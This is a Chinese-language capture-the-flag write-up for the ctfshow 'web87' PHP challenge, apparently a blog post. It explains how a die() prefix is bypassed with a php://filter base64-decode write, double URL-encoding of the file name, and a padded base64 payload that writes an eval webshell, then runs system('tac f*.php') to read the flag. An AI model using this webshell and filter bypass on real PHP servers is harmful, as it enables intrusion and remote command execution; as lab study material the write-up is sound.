web87笔记(增加urldecode()、die()绕过处理)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}
1. urldecode($file)
功能:对 $file 变量进行 URL 解码。

urldecode():将 URL 编码的字符串解码为原始字符串。

$file:通常是通过用户输入或其他方式传递的文件路径。

作用:如果 $file 是 URL 编码的(例如 %2Fvar%2Fwww%2Ffile.php),则解码为原始路径(如 /var/www/file.php)。

2. "<?php die('大佬别秀了');?>" . $content
功能:拼接字符串。

"<?php die('大佬别秀了');?>":一段 PHP 代码,作用是立即终止脚本执行,并输出 大佬别秀了。

$content:另一个字符串变量,通常是通过用户输入或其他方式传递的内容。

拼接结果:将 <?php die('大佬别秀了');?> 和 $content 拼接成一个字符串。

3. file_put_contents()
功能:将字符串写入文件。

file_put_contents($file, $data):将 $data 写入 $file 文件中。

如果文件不存在,会创建文件。

如果文件已存在,会覆盖文件内容。

参数:

$file:文件路径。

$data:要写入的内容。

分析源码,这题有两个传参,file和 content,然后将content参数的值写入到file参数所定义的文件里,但是一同写入的还有,在开头增加了die的过程,导致即使我们成功写入一句话,也执行不了,我们所要做的就是绕过die

这里放上p神的

谈一谈php://filter的妙用 https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#_1

p神文章已经讲得很清楚了,base64算法解码时是4个byte一组, 而phpdie共6个字符,所以我们解码的时候需要再添加两个字符

urldecode函数:url解码函数,用于将经过URL编码的字符串转换回其原始格式

die函数:终止程序

base64编码:base64编码的范围为0~9,a~z,A~Z,+,/ 其他的字符全部过滤,故本题可以使用base64编码进行绕过die函数

注意:base64编码必须为4的倍数,由于base64编码范围的原因<?php die('大佬别秀了');?>会被过滤为phpdie为6个,需要加上任意2个在base64范围内的字符即可

 

源码中有2个参数,分别是GET传参的file与POST方式传参

POST传参:变量content与die函数用点相连接可以使用base64编码进行绕过,以防终止程序

GET传参:file有urldecode函数(url解码函数),故需要将file进行2次url编码

做题方法: 使用php://filter/writer协议

做题步骤: 构造GET传参的payload:?file=php://filter/write=convert.base64-decode/resource=0314.php 并且使用bp进行两次url编码

原payload:?file=php://filter/write=convert.base64-decode/resource=0314.php

2、双重加密后的payload:?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%30%25%33%33%25%33%31%25%33%34%25%32%65%25%37%30%25%36%38%25%37%30

构造POST的payload并base64加密,且在加密后前面加2个任意在base64范围内的字符

content=<?php @eval($_POST[y]);?>

content=PD9waHAgQGV2YWwoJF9QT1NUW3ldKTs/Pg==

content=aaPD9waHAgQGV2YWwoJF9QT1NUW3ldKTs/Pg==

 

 

3、访问0314.php,并且使用post进行传参,因为上面的post传的参数是y,所以post的payload是:y=system('tac f*.php'); 即可拿到flag

 

posted @ 2025-03-14 15:23  justdoIT*  阅读(48)  评论(0)    收藏  举报